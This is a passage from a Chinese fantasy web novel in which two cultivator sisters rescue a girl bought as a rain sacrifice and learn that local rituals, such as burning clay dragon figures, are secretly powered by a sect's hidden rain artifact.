见她气势汹汹的,中年男人也不堪示弱地吼起来:“先不说你我非亲非故,你们不请自来无故插手仪式!就是幽冥洲的习俗也和你们这些什么都不懂的外地人无关!” 曾换月欠揍道:“无关我就管!有种你们打我呀!打得过我——师姐,就把人还给你们!” 石映心颔首,顺手挽了个剑花:“一起上吧,省时间。” 对边一干人:…… 他们面面相觑,都无送死之意。长点脑子的都看得出来二人身手非凡。 中年男人当然也不敢,跺着脚都气冒烟了。这时候他边上有个奴仆模样的老人家走上前来,好声好气道:“老奴看二位身手不凡、仙风道骨,定是何方仙人;想来是初来乍到,不知晓我们幽冥洲的苦境……还请高抬贵手,将人还来吧!” “苦境?”石映心挑眉道,“不如你说说,也许我能体谅。” “这……”老人家回头看了眼中年男人,对方只是不耐烦地挥挥手,他便转过头来道,“好,那老奴便长话短说。我们这自一月前就开始闹旱灾,尤其是这近海的景况,那是一日不如一日,海水越退越远……” 他看向曾换月怀中的女孩道:“实不相瞒,方才我们在此处是在祈雨,二位手中的女子正是我们此次祈雨的祭品。” 石映心便问:“为何用人命祈雨?” 老人家叹了口气道:“这实在是无计可施了!先前我们也用过不少习俗中的祈雨方法,但都只能降下小雨,不能解近海之愁啊!又听说焚魃致雨威力颇大,因此才迫不得已一试……” 焚魃致雨?石映心隐约觉得在哪里听过这事,可此时也不是问这种糟粕习俗的时候:“可你们又是何人,为何对近海旱灾一事如此上心?” 老人家的小眼神瞥了瞥中年男人:“我们、我们是……” 见他吞吞吐吐的,中年男人狠吐一口气道:“我是城中最大酒楼的主人,你们可知断了海鲜的这一月让我的生意亏损了多少银两吗!?” 这完全是可以置喙的理由,曾换月立刻责怪道:“哇,就是谋财害命嘛!” “是又如何?”中年男人冷哼一声,指着她怀中的女孩道,“她这条命是我买来的!我怎么用都是天经地义,用得着他人置喙!” 石映心瞥了眼昏迷中的女孩,又看向老人家:“买来的?” “是是是,”老人家连忙点头道,“那女子是我们从她爹娘手中买来的弃女,他们一家几口人本就食不果腹、人命危浅,她爹娘将她卖给我们作仪式祈雨;若能解决了近海旱灾祸患,于她来说也是大功一件啊!” “什么大功一件?”曾换月翻白眼,“搁你你要这功劳吗?我看你也是大半个身子都入棺材的老骨头了,那这么说,以你的薄命祈雨,是不是也很划算啊?” 老人家:…… 他脸色一僵,但毕竟是老奴了,一点也没生气,还是好声好气地赔笑道:“二位仙人说笑了,古人言‘女能事无形,以舞降神者也’,沟通天地神明祈雨一事,自然非女巫莫属。” “我不管你们这些哔哔赖赖的,”曾换月一挥手道,“总之这人我救定了!” 中年男人鼻子喷气:“你们别太过分了!老子……” “老爷息怒老爷息怒……”老人家连忙安抚了他老爷,又转来和她们打商量,“二位仙人一看就是菩萨心肠,救人之心使老奴感深肺腑;不过二位有所不知,这祈雨验方是我们幽冥洲源远流长的习俗,承载了老祖宗的智慧……如今闹了旱灾,城中却无事,也是多亏于此啊!” “再者……”他露出一个苦笑来,“那女子本就活不长久,就是不被我家老爷买下,不日也要死于饥肠……还请二位仙人高抬贵手,将她还来吧!” 石映心和师妹对视一眼,正要说些什么,却听中年男人一挥手道:“算了!早就过了祈雨的吉时,如今再要回来还有什么用?那女的就给她们好了,难道老子还怕买不到第二个?走!” “老爷……” “老你个头,走啊!你可知我一刻钟能挣多少银两?岂能在此处与无赖浪费时间!” “……是。” 就这么着,那一群人跟在中年男人愤怒的屁股后头走了。 荒芜的沙滩上,很快只留下混乱的脚印和三个在风中静立的身影。 没想到对方前一瞬还气呼呼的,后一瞬就头也不回地走了,曾换月都有些没反应过来呢,看向师姐道:“……啊?什么情况?” 石映心想了想:“大概确实如他说的,在这和我们浪费时间不划算,回去再买一个人还省事些。” 曾换月张了张嘴:“啥呀,他们这人命这么廉价的吗?” “唔……” 石映心听到动静,看向师妹怀中的人:“她醒了。” 曾换月转眼看去,就见女孩原先平静的脸色慢慢地皱了起来,她张了张嘴,似乎在说什么:“水……水……” 石映心便拿水壶给她喂了点水,顺便帮她探了下脉搏:“倒是没什么大病,就是身子异常虚弱。” “可不嘛,”曾换月吐槽道,“她这么个人躺在我怀里,却只有身上这些衣物的重量呢!” 石映心掀起女孩的衣袖一看,仿佛只是骨头上裹了层皮,一点肉都没有,看得她也是一惊:“这么瘦。” “现在怎么办呀师姐,”救完人后,曾换月才开始想后事了,“我看也不能把她送回家去,像那个老人家说的,她家那么穷,送回去要么就是饿死要么就是再被卖掉……” 石映心琢磨了一下,没琢磨出来:“总之先将她带回客栈吧。” “我们没订客栈啊?”本来想着晚上就要去幽冥宗来着,也不用找地方睡觉了。 石映心丝毫不着急地表示:“现在订。” 第266章 于是二人就将女孩带回了城里,将她安置在一家客栈中。因为她们还要出去,没法一直看着她,石映心便让店小二送了些清淡的白粥小菜来,放在桌上让她醒了能吃。 曾换月说:“师姐我们留张纸条吧,要不然她不敢吃呢?” “还是你想得周到。” 二人暂且安顿好捡来的小孩,打算再去外头探探消息。曾换月看着街上人来人往的热闹景象,和师姐感叹道:“师姐,原来我们也挺不食人间烟火的。” 烟火?石映心:“我们食大鱼大肉。” “噗嗤。”曾换月笑了一声,“别逗我笑嘛。唉,我的意思是……虽然知道世上处处都有贫困的痛苦的角落,但和我们相隔太远,平时很少接触到;今日遇到那个女孩,我这心里怪不是滋味的。” 石映心看她:“什么滋味?” “就是觉得……”曾换月琢磨了一下,“她这么惨,我是不是该多帮帮她呢?对比之下感觉自己太幸运了,我又凭什么呢?唉,想不明白。” “想不明白就不想了,”石映心拍拍师妹,“总之如今你是你,我是我,我们无愧于心地过好自己的日子便是。” 曾换月很受师姐的安慰:“嘿嘿,我明白的!” 二人这回出来是想打探祈雨仪式的事,先前她们还没放在心上,毕竟这种祭神仪式在其他地方也看过不少了;只是没想到幽冥洲的人已经丧心病狂到要用上人命的地步,那是得好好问问。 她们记得中年男人说过他是什么“城中最大酒楼的主人”,于是买冰糖葫芦的时候问了一嘴。 卖糖葫芦的大姐说:“哦,你们说‘鲜上天’呀?” 真是嘚瑟的店名啊:“嗯嗯。” “啧,”糖葫芦大姐砸吧一下嘴道,“别说,若论这次的旱灾影响最大的,那可能还真是‘鲜上天’嘞!他们家原先号称是城内最新鲜的海鲜酒楼,大部分出海的渔船回来的货都是先让他们家第一批挑的,接着才轮到其他店家……” “所以百姓们去他们家就是为了吃一口新鲜海鲜呀!可如今闹了旱灾,海鲜没了,‘鲜上天’其他菜色又一般,他们又不肯降价,比不过别人家好吃又便宜的,那自然没人去了。” 相当于是断了“鲜上天”的命脉,怪不得那店家这么着急呢。 可降价其他菜品也不行,拉低最大酒楼的档次不说,若之后旱灾好了,那这些菜品还能恢复原价吗?这不是把顾客当傻子耍嘛。 石映心接下来又问起祈雨仪式的事,原以为会得到焚魃致雨的消息,没想到糖葫芦大姐却笑道:“哎呀,就是烤龙王嘛!” “烤龙王?”曾换月咋一听还以为是啥蜜汁串烧鳝之类的菜品呢,“这是什么?” “你们外地人不知道,我们这家家户户都有‘龙王’呀,”糖葫芦大姐道,“平日请来放在家中保风调雨顺、五谷丰登;若是流年不利遇到了旱灾,便要送回龙王庙中,请住持烤龙王祈雨。如今我们城中不缺水用,正是多亏了这祖传的好法子呢!” 二人听着很匪夷所思,又主动问起“焚魃致雨”的事,但大姐却表示:“焚魃致雨?也是求雨的验方吗?嘶,有些耳熟,但不太清楚呢。” 那没办法了,她们只好又回到“烤龙王”一事上,问这仪式下一次什么时候举行。 糖葫芦大姐想了想,一拍额头道:“今日就有呢!你们这会赶去也许还来得及。” 那还等什么,赶紧去看看情况啊! 二人问了路便往龙王庙赶去,好在距离不远,没多会就能望见那金碧辉煌的城隍庙,只是越往那处跑,越瞧见多的人;等到了庙底下,简直是人头攒动,好多人手上还拿着盆啊桶的,兴致勃勃的。 “哇,”曾换月喘了口气,“还挺热闹?师姐我们来晚啦。” 这么说着,语气也不着急:“怎么说,隐身飞上去看看?” 石映心颔首:“好。” 于是二人隐身御剑飞到龙王庙的大院上空,这里头也围着不少人,但大家都识趣地挤在外围,不去里头添乱。 她们站在屋檐上往下望,最显眼的是院正中的一口大鼎,还有一圈围着院子摆放的空大缸;大鼎的边上站着几个光头和尚,有一个穿着明显高贵些的老和尚正站在大鼎面前,闭着眼睛念念有词,手上还摇着法铃,丁零当啷的响声传入众人耳中,人人被震慑地安安静静。 其他和尚则绕着大鼎围了三圈,双手合十在胸前,闭目专注地念念有词,声音听着不大,但如风一般灌满了整个院子。 曾换月和师姐嘀咕:“有些阵仗……不过龙王呢?不是说烤龙王吗?” 石映心一抬下巴:“你看那鼎中是什么。” “鼎?”曾换月闻言望去,就见那鼎大开的口中满满当当地堆了许多泥巴色的玩意。她想这有什么,不就是一个个泥巴像吗?可等定睛一瞧,才发现那些泥偶原来是龙的模样,尽管有些丑得可以被告上朝廷了,但确实都有龙的特征。 “老天奶,这就是龙王啊?”她哭笑不得,“所以烤龙王就是……” 话音未落,就见边上的有个年轻和尚递给老和尚一个火把,老和尚很有架势地在空中舞蹈了一番,好险没烧到人,接着就往鼎中一扔—— 那鼎里大概提早被泼上了些油,火势猛地蹿了起来,火光一瞬间照亮了整个大院。 “哇……” “烧起来了!烧起来了!” “火势很旺啊……” 在大伙情不自禁地沉浸于火时,老和尚忽然朝天一指,朗声道: “司雨龙王,听吾召唤,大风大雨,速来人间!” “司雨龙王,听吾召唤,大风大雨,速来人间!” “司雨龙王,听吾召唤,大风大雨,速来人间!” 没错,就这么念了三遍,后两次还伴着其他和尚的和音,听着气势磅礴,非常唬人。 曾换月嘴角抽抽,表情徘徊在想笑的边缘,但不等她真的笑出来,只听一声轰鸣从天上传来,她诧异地抬头望去,龙王庙的上空竟出现了一大片乌云! 曾换月:O0O? 她震惊地挤挤师姐:“什么情况,他们来真的啊?” 石映心的耳边已经传来了群众欢呼的声音,她抬头看看乌云,秀眉一挑:“是不是真的,上去看看便知。” “啊?欸,师姐——”眼见师姐要飞走,曾换月连忙喊道,“带上我呀!” 石映心飞回来。 石映心佩戴上师妹。 石映心飞走。 二人迎风而上飞,飞到一半已经有淅淅沥沥的雨水落下,等到了云彩之上时,下方已经落了倾盆大雨。 “这乌云格格不入啊。”曾换月瞅了瞅边上、准确地来说是龙王庙之外的天空,都是正常的白云,她踩了踩脚下的乌云,软绵绵的,和其他云彩并无不同,“有些奇怪,又说不上来哪里奇怪……师姐?” 她俩又不是龙王,当然不懂降雨的机制。但石映心有办法啊,她对着乌云一眨眼睛,很快笑开:“原来是这样。” 她师妹好奇地抓心挠肝的:“怎样呀怎样呀?” 石映心拉住师妹的手,将她看到的情景用灵识传递给她:“你看。” 曾换月眨眨眼睛,面前的景色忽变:就见那乌云恢复了原先的白茫茫色彩,而那缥缈的云层之中,有什么东西正在隐隐闪光,像是棉花糖夹心似的,让人瞧不清楚;但应该是个宝器,闪光说明它此时正在不停地运作。 “你还记得师父说过,幽冥宗向我们请求支援、借降雨宝器一事吗?”石映心道,“这藏在云彩中的宝器上就有我们归壹派的专属刻印。应该是具有将云变成乌云的障眼法的降雨宝器。” 曾换月恍然之下又感到好笑:“这么说,其实压根不是龙王显灵,而是幽冥宗在背后操纵?” “估计是。”石映心颔首,话里还有些同情,“他们还挺不容易的,不知是用了什么办法才能感知此处的召唤。” “可不是不容易嘛?”曾换月噗嗤一笑,“明明是自己的功劳,结果都被什么司雨龙王给霸占了,费了劲也没讨着好!” 石映心回忆道:“之前听大师兄说幽冥宗一向行事低调,在幽冥洲不怎么管事,因此当地的百姓比起修仙者,更相信天上的神仙。今日一看,果真如此。” “可不嘛。”曾换月也想起什么,“现在想想,去幽冥宗的门要在子时才开,而且一不小心就可能迷路到幽都去……光是这点,就劝退很多想去幽冥宗寻求帮助的百姓了吧?” 石映心也觉得是:“嗯,人们本就对幽都望而生畏,再加上幽冥宗的行事作风看起来也有些不近人情,导致如今的情况也是难免的。” 曾换月的脑子里就勾勒出幽冥宗一个憋屈的闷葫芦形象,忍不住幸灾乐祸道:“这个故事告诉我们——” 师姐妹对视一眼,异口同声道:“做好事要留名!哈哈哈哈……” 既然知晓了乌云的真相,二人也不在天上多待,等雨停了后就飞回了龙王庙的屋檐上,正好瞧见百姓们抱着满载水的桶和盆欢欢喜喜回家的热闹场景;祈雨的和尚们也在忙碌地将那些围了院子一圈、此时已经积满水的大缸往屋里搬去。 主持仪式的老和尚正站在大鼎边上拿着手帕擦光脑壳,一个小和尚走过来问道:“住持,这些泥偶如何处置?” 第267章 老和尚往鼎里瞅了眼:“尘归尘,土归土,埋城外去吧。” 小和尚应了一声,又道:“住持,上回没烧干净,底下还留了些完整的泥偶,就这么埋了有些可惜。” “是可惜。”老和尚颔首道,“那就捡起来收拾收拾再卖出去。” 小和尚:“是。” 曾换月抱着胸道:“还是门生意嘞。把龙王泥偶卖出去,再回收过来祈雨……想想也赚, 幽冥宗就这么纵容他们?” “也没办法,”石映心琢磨道,“毕竟四处去降雨很费宝器,倒不如让这些人借祈雨的由头让百姓们集中在一起。” “那倒也是……” 曾换月瞅见那小和尚正在捞大鼎中的泥偶去扔,她趁其不意抓了一个上来,是一个已经烧硬的泥偶,也就一个手掌大小,雕刻得很粗糙,因此龙头瞧着有些滑稽。她看两眼就忍不住笑了: “师姐你看,这就是他们的龙王哈哈哈哈!若我是龙王本龙,瞧见这玩意不生气就是好脾气了,才不给他们降雨呢哈哈哈!” 听师妹这么说,石映心若有所思道:“泥偶丑不丑不说,可你不觉得这祈雨仪式很匪夷所思吗?” 曾换月看自己的手,已经沾了一手的泥炭,她有些嫌弃地甩了甩:“可不匪夷所思吗?我只见过献上祭品、三叩九拜地祭神求保佑的,还没见过这种烧泥偶神像的呢?说是诅咒我也信。” “是吧,”石映心也觉得,“这么对待神像,说是大不敬也行……这幽冥洲的祭神习俗竟是这样。” 曾换月撇嘴:“还有祭人命的!” 二人便想起被她们安置在客栈的女孩。落雨过后,天色忽然暗淡了许多,她们便决定先回客栈暂作休息,等子时再出发去幽冥宗。 回到客栈,那女孩已经醒了,正僵硬地坐在桌前,手上捏着一张纸条,双目直勾勾地盯着面前空荡荡的饭碗发呆。 一瞅见二人回来,她几乎是从椅子上摔了下来,仿佛又是故意的,就这么直接跪在了地上,哀戚道:“多谢二位恩人救命、多谢二位恩人救命……” 说话间又要开始磕头了,可把她两个恩人吓得不行,连忙将她扶起来摁在床上。曾换月松了口气道:“别大惊小怪的,救你是我们自作主张,你不必这么感激涕零的。” 女孩抽抽鼻涕道:“二位恩人大恩大德,小鱼没齿难忘……” 曾换月:“你叫小鱼啊?” 小鱼颔首道:“嗯。” 石映心便问:“小鱼,你爹娘为何要将你卖了?” 提及伤心事,小鱼悲从中来,又流下几滴眼泪,被她慌忙擦去:“爹娘也是迫不得已……我爹是渔民,我娘是织鱼网的女工,家中本就贫困,旱灾一来,爹娘就挣不了钱了,可家中还有要吃饭的弟妹……” “我年岁最大,爹本想将我卖给哪户人家当丫鬟,但他们嫌弃我个子矮小、瘦弱无力,干不了重活……这时遇到了‘鲜上天’的老爷,说要买我去祈雨。我爹娘想着,卖不出去也是饿死,卖了我还能祈雨,也是好事一桩;老爷给的价高,够家中省吃俭用度过旱灾了……” 听着真可怜。石映心又问:“你可是自愿的?” 小鱼有些犹豫道:“我不想死……但想救爹娘弟妹,也没其他办法了……” 石映心想,自我牺牲大概就是无力又善良的凡人唯一能做的事了。 “那再怎么说也不能送你去死吧。”曾换月撇嘴道,“若是换你,你乐意送你爹娘弟妹去祈雨吗?” 小鱼一惊:“当然不行!” 曾换月:“怎么他们就行呢?” 小鱼张了张嘴,没反应过来,有一会后才喃喃道:“我没事的……若是定有一人要死,那还是我去吧……” 曾换月瞅她懵懂的模样,深呼吸,吐气,深呼吸,吐气……“行,反正已经这么着了,接下来你打算怎么办?” 小鱼目露犹豫道:“其实我也没想好……只是就这么回去,怕给家中添麻烦,毕竟老爷的卖命钱已经给了,我侥幸存活,怎么好再大摇大摆地回去呢?” 总算动脑子了啊!曾换月略感欣慰:“你说得不错。虽然买你的钱对那老爷来说不算什么,但你这么回去无疑是在打他脸,保不准他之后心情不好要报复你呢?所以我看啊……你绝对不能回去,不然你爹娘也要遭殃!” 小鱼闻言,立刻点头道:“我不能连累爹娘他们……” 曾换月顺势说:“不如这样,等我和我师姐处理好手头的事后,将你带离此处,再帮你找个包吃住的活计,让你不至于饿死……” 小鱼越听越感动,眼泪又掉了下来:“二位恩人大恩大德,小鱼无以为报,下辈子当牛做马……” “用不着你当牛做马。”石映心打断她,“我们有些事问你,若你能好好回答,就算报答了恩情。” 小鱼说这是远远不够的,但肯定知无不言言无不尽。 石映心便问:“他们找你做的祈雨仪式……叫什么焚魃致雨,你可知怎么回事?” 除糖葫芦大姐外,她们其实还问过别的百姓,但很多人只知道“烤龙王”这一种祈雨验方,大概也够用了,所以对“焚魃致雨”一事并不知晓,最多是听过但不清楚。 就不知这当事人小鱼了解多少了。 “我知晓的。”小鱼还怕是什么很难的问题,听此还松了口气,“我听我过世的姥姥讲过,说她当年差点也要被送去当女巫……好在老天怜悯,早一日下起了雨来,她便躲过一劫。” 说到这她还笑了一下:“没想到我也有这样相似的经历……” 见她知道,二人连忙问:“是吗?那焚魃致雨究竟是怎么回事呢?” 小鱼睁着大眼睛:“二位可知旱魃?” 她们可太知道了,不仅知道旱魃,还知道天神女魃呢。曾换月颔首道:“知道的……难道你们幽冥洲也有旱魃?” “是有的,不过……说来也奇怪,”小鱼目露疑惑道,“去年还能偶尔瞧见,但今年却几乎没有见过了。人们说有旱魃出现的地方就会闹旱灾,于是瞧见一只就要将它抓来鞭打焚烧……也许是每一回都处理得及时,所以幽冥洲许久都没闹过旱灾。” “但今年人人都说没再见过旱魃,一月前却闹起了旱灾……刚开始的时候,大家都以为是旱魃躲在地下作祟,可处处刨地也没有再找到旱魃的身影……旱魃就这么消失不见了。好在后来龙王庙开始烤龙王祈雨,百姓们解了燃眉之急,便将旱魃的事抛之脑后。” 旱魃不见了? 这么说来…… 石映心不由自主 地联想到她从涿鹿驿站的地下挖出的天神女魃的青蛋,当时她们推测青蛋就是这些旱魃的母体,为大地提供再生旱魃的力量……所以她将青蛋拿走后,旱魃就不会再生了。 啊,原来还影响到幽冥洲了。 “……但我姥姥说,”又听小鱼说道,“鞭打焚烧旱魃不仅能预防旱灾,还是一种祈雨办法。” 石映心抬眼看她:“祈雨?” “嗯!”小鱼点点头道,“我记得……姥姥看古籍上说:‘旱魃系僵女,尸貌如生,遍体生白毛。焚之,次日大雨’。” 曾换月“啊”了一声:“真的假的,那你们以前杀死旱魃的时候,隔天都会降雨吗?” “那倒没有。”小鱼摇摇头,一脸认真地说,“但我姥姥说,在她姥姥的小时候是有的,她也是听她姥姥说的……” 曾换月好险没被这么多姥姥绕晕:“额……那你姥姥……或者你姥姥的姥姥有说其中的原因吗?” “我姥姥听她的姥姥似乎是这么说的,”小鱼回忆道,“以前的旱魃很厉害,人们虽厌恶它,但也敬畏它,一般是避之唯恐不及,万不得已不敢去招惹,而是要将它好声好气地请走……” “在那个时候若是遭遇了旱灾,人们会想方设法捉来一只旱魃将它鞭打焚烧,想要烧死它还很不容易呢,毕竟是妖怪,一般要烧七日七夜才能将它烧死……它死去的第二日定会降下雨来;可渐渐地,我姥姥的姥姥说,旱魃变弱了。” 石映心微挑眉:“变弱了?是怎么看出来的?” “死得更快了呀。”小鱼说,“一开始要烧七日七夜,后来只需五日五夜,三日三夜,一日一夜……最后一烧便死了,和杀人一般容易。不过也因此,并非一烧旱魃就能得到降雨了。” 曾换月张着嘴巴,看向师姐:“这确实是说明旱魃变弱了。” “嗯,”石映心颔首道,“它身为妖怪的本事变弱了,祈雨的本事自然也会变弱,所以不能再一烧就得雨。” 小鱼开朗笑道:“恩人好聪明,我姥姥的姥姥也是这么说的!不过这就是最开始的‘焚魃致雨’的验方了。” 石映心捕捉到关键词:“一开始的?” “是呀,”小鱼叹了口气道,“一开始的。正是因为旱魃变弱的原因,人们开始寻找其它的祈雨办法。后来不知怎么得知,可将女巫饰作旱魃而暴之焚之以祈雨……焚巫便是焚旱魃;结果一试,还真有用处。” “女巫?”曾换月不解道,“关女巫什么事?” 小鱼解释说:“我姥姥的姥姥说,她们那时候的人认为,巫觋是帮凡人沟通天地神明的使者;鞭打她们、焚烧女巫,让她们吃尽凡间旱灾的苦头,便能让她们感同身受、快快禀报上天神明,催降甘雨。” 第268章 曾换月已经听傻了:“这么回事的感同身受啊?哇塞……这难道不是恩将仇报吗……虽然恩未来到吧。” 石映心虽觉得荒唐,但还有问题要问:“巫觋一词,巫指女巫,觋指男巫,为何只烧女巫呢?” 小鱼摇头晃脑道:“古言道:‘女能事无形,以舞降神者也’。姥姥说,女子有和无形之神灵沟通的本事,可用舞蹈等仪式请神明显灵,以祈雨祈福驱邪……” 【……二位仙人说笑了,古人言‘女能事无形,以舞降神者也’,沟通天地神明祈雨一事,自然非女巫莫属。】 那老人家也是这么说的。石映心想起来。 “什么呀,这也太恃强凌弱了吧?”曾换月一撇嘴,不满道,“这不公平!” 小鱼见恩人不高兴,微惊地捂住了嘴巴,睁着大眼睛不敢再说话。 “恰恰相反。”石映心却摇摇头,和师妹道,“正是因为女子强于男子,拥有事无形的本领,才能担此重任。若是烧死男巫,怕是徒然死个人罢了,并不会得到神明的搭理。” 搭理?师姐用这个词,就让她的脑海里出现了画面: 烧女巫:看看她想干嘛。 烧男巫:懒得鸟一眼。 啊?是这样的吗?曾换月的脑中浮现常曦祭月的画面,以及在三足乌城中,大司命和少司命都要扮做女人的模样祭祀,如此才会受到帝俊的眷顾……所以真相其实是:女子有神性而男子没有吗? “我想是哪里出了差错,”石映心道,“祭祀祈雨的办法有很多,不知为何当时的人们会选择这样伤害女巫的方式……这点可能和换月你说的恃强凌弱有关;不过仪式能成功,确实取决于祭祀的人是女巫而不是男巫。” 曾换月想明白了:“所以师姐你的意思是,其实可以让女巫用其它办法祈雨,但他们却采用了最愚蠢残忍的一种?” “嗯。”石映心颔首道,“可能是他们认为……女巫死后就会去往天上,也就是神仙所在的地方,如此能帮他们传话降雨;也可能是他们觉得……杀人最容易,女巫的命比较低贱。” 说到这,她看向小鱼水汪汪的双眼:“那么,你是如何成为女巫的呢?” 小鱼一脸天真道:“我也不清楚,管家爷爷说穿上女巫的衣物,带上面具就是女巫了……他们喂我喝了昏迷的药,说不会让我死得很痛苦。” 石映心便看向她身上的青衣,就是很普通的青色衣裳,做工还行,比当时在边上跳舞的童子、中年男人要精致些,大概这就是祭天女巫的待遇吧,在衣物上才显示了身份。 而且是青衣…… 她思酌这,又听小鱼絮絮叨叨道:“其实在鲜上天老爷家的这两日,管家爷爷他们待我还挺好的……他们说想试焚魃致雨的古方,但找了许久的旱魃也找不到,实在是没办法了才试这个要人命的法子……” 不过这法子究竟有没有用呢,目前是不得而知的。 问得差不多后,二人便让小鱼安心且安分地待在客栈内休息,最好不要出门,三餐都有人送来;小鱼对她们感激涕零,自然乖乖应下。 姐妹俩去别处说话,凑巧在客栈一楼大堂又听到食客讲起龙王庙降雨的事。 曾换月喝了口茶水,幡然醒悟:“师姐,我知道那烤龙王古怪在哪里了!” 石映心看向她,颔首道:“和焚魃致雨一般的套路。” “对吧!”曾换月一拍手,“烤龙王的泥偶,其实也就是让司雨的神祇尝尝干旱如同火烧无法解渴的痛苦嘛,然后让他感同身受地降下及时雨来……嘶,你说这些人吧,不能说愚昧无知,他们还晓得让神身临其境……” “自私。”石映心看向师妹,有些请教的意思,“这是否叫自私呢?” “啊……说自私也行。”曾换月很久没当师姐的“小师父”了,如今师姐已经“进阶”,她可不能和以前一样胡说,“但似乎也有些分别,毕竟不祈雨就要死了,而且这种祈雨办法也不是真的会伤到神祇……唉,人的七情六欲是很复杂的,不能用一个词概括呢。” 石映心受教了,颔首道:“我明白了。” 曾换月:……我还不明白诶。 这时候又听到隔壁桌传来“龙王显灵”“龙王庇佑我们幽冥洲”之类的话,看那些百姓脸上皆是欣喜的质朴笑容。 “会不会……他们压根没想那么多呢?”石映心有些失神道,“不管是尊敬地献上祭品后三叩九拜的祭神法,还是看起来荒谬的烤龙王……也许他们压根没想那么多,只是别人这么说就这么做了,习俗这么传就这么学了?” “师姐你说的有道理呀,”曾换月“嘶”了一声,“大部分人其实不懂祭神术,都是向别人学的呀;就像仪式中也要有主持的人,在边上跳舞的小童不过是在听话地辅助罢了,这个时候话事人想怎么做就是主导作用了!” 她越说越觉得是这么回事:“像是焚魃致雨,如果当时举行仪式的话事人采用了 别的办法,指不定也可行呢?但他偏偏采取了烧女巫的法子……成事之后,普通人又会尊敬地效仿他,于是陋习就代代相传……” “可我们已无法改变根源。”石映心看着面前的茶水,水面平静,“至于从根源延绵而来的当今,又是积重难反。” 她清楚地想到了,其实以前也遇到过类似的问题,但那时候不是她的困境,是泉芷,常曦,楚欣(三足乌族)…… 其实如今也不是她的困境,是幽冥洲。 可她为何忽然觉得……这些困境和她息息相关呢? “唉,太难了。”小师妹的唉声叹气在耳边响起,“不想了啦师姐,我看时间也不早了,我们再吃点好吃的呗?等会就要去幽冥宗了。” “好。” * 子时。 二人大摇大摆地走在大街上,左顾右盼着漆黑静谧的街道,悄无声息的环境让她们也不自觉压低说话声。 “师姐,”曾换月几乎用气声道,“没想到幽冥洲入了夜这么安静,他们完全没有夜生活啊?” 石映心微微颔首:“看来小鱼说得没错。” 其实亥时的时候街上基本就没什么人了,原先热闹的街市仿佛眨眼间消散,她们当时在客栈里往窗外望去,只见匆匆回家的百姓,还有摊贩们熟稔收拾东西准备离开的景况,最晚的宵夜摊只摆到亥初,连楼下的客栈都关了门不再迎客。 问了小鱼才知道,这也和子时幽冥宗大门打开一事有关。据说门里头偶尔会溜出阴间的鬼魂,常常是想要为祸人间的恶鬼,逮着人就跟……听着可吓人嘞,这谁还敢大晚上的在街上乱逛? 一路上也没什么好看的,二人很快来到了城门口,她们记得路人姑娘说,通往幽冥宗的门在一颗大槐树边上。 出了城门一瞧,果真见一棵参天槐树矗立在不远处,葳蕤的枝叶遮天蔽日,昏沉的黑夜为它勾勒出幽黑的影子,夜风簌簌摇曳中,显出鬼气森森。 凡人见此景况定会心生可怖,但二位仙人瞧出些低调的端倪。曾换月“哇”了一声:“师姐,这是不是神树啊?” “是。”石映心瞧见隐在树冠中的月亮,“这个槐树能吸收天地灵力,尤其是夜间的月光。” “听着很厉害。”曾换月又问,“和我们归壹派的万事树相比呢?” 石映心想了想:“那它只是小年轻。” “小年轻?哈哈哈哈哈!”曾换月忍不住笑起来,“师姐你是从哪学的这词?和我学的吗?哈哈哈……” 肯定是和师妹学的,但什么时候学的她也忘了;石映心只是会下意识地记住一些她听了觉得新奇的话,派上用场的时候自己也觉得很贴切。 她们走进小年轻槐树想找传说中的“门”,但绕了两圈也没发现。 “真是奇了怪了,”曾换月疑惑地拍拍树干,“不是说有门吗?没瞧见啊,只有一棵树呢……要不师姐你照照这树?” 石映心也有这打算,可不等她眨眨眼睛,这树居然说话了,是一个稚嫩小童的声音:“二位姐姐,二位姐姐!” 曾换月本来靠在树上歇息呢,闻言吓得跳了起来:“我去!谁啊?谁啊?哪来的小孩?!” “是我,是我!” 曾换月左顾右盼上看下看:“谁啊谁啊?师姐咱们是不是撞鬼了?” “是它。”石映心拉住师妹,“是树灵。” “……树灵?”曾换月有些惊讶,转头看向身后的槐树,“这棵树都修出树灵了?” “是呀!修出树灵了!小槐是树灵!”树灵笑嘻嘻道,“二位姐姐,你们是来找我玩的吗?” 听这树灵说两句话就能听出它的小孩心性,石映心料想它应该修成不久,毕竟花草树木要成精是很难的。可她也不会哄小孩,只会实话实说:“不是来找你玩的,我们在找去幽冥宗的门。” “哦……”树灵显而易见地失落了,“好吧,那你们来得不巧呢。” 石映心:“怎么不巧?” 树灵说:“因为幽冥宗的哥哥姐姐们半月前就把门给关上啦!” “啊?”曾换月诧异地和师姐对视一眼,又问道,“这是为什么?” 树灵语气轻松:“小槐也不知道呢~” 石映心和师妹道:“若是半月前,应是和旱灾一事有关。” “估计是。”曾换月摸摸下巴,“那我们该怎么进去呢……小槐,你是树灵,有办法帮我们开个后门吗?” 第269章 小槐:“后门是什么?小槐只有一扇门。” 曾换月:“……就是那扇门。” 小槐:“那扇门不是小槐的门,是幽冥宗画在小槐身上的门。” “原来是阵法……”曾换月琢磨了一下,自己怎么说也是元婴后期的阵修了,信心也该跟上修为,“师姐,不如让我试试能不能启动他们的阵法?” 石映心当然支持:“好。” 曾换月让小槐将阵法显出,小槐乖乖应下,很快便在它的大树干上出现了一圈发光的法阵图案。她变出一个本子一支笔,一边看阵法一边涂涂画画。 石映心看不懂阵法,也看不懂师妹的涂涂画画,唯一认得的就是师妹最开始写的那个“解”字。 她在边上耐心等待着,谁知有人很没耐心地冒泡了:“这等低阶的阵法都要算这么久?小镜子,让我来教你。” 石映心闭上眼睛:“不用你费心。” 旋娉:“我可是好心。” 石映心:“不用你好心。” 旋娉:“等过了子时可就进不去了!” 石映心:“不用你着急。” 旋娉:“……” 应该是被不识好歹的镜灵气着了,旋娉冷哼一声后不再吱声。 石映心确实不着急啊,这会还和小槐闲谈上了。 小槐:“姐姐,你们是从哪儿来呀?” “归壹派。” 小槐:“哇,就是那个传说中的天下第一门派吗?那你们肯定很厉害吧!” “处处都有厉害的人和不厉害的人。” 小槐:“那你们来幽冥洲是要做什么呢?” “归壹派的弟子常常要去往世间各地做任务。” 小槐:“哇,好好哦,小槐也想去看看广袤的天地!” “等你长大了便有机会。” 小槐:“真的吗?像我这样的树也能离开吗?是要长到多大呢?” “我不清楚你们树灵的道行,不过总有机会的。” 小槐:“好吧……对了姐姐……” 它话音未落,就听曾换月高兴地叫了一声:“师姐!我解出来了师姐!” 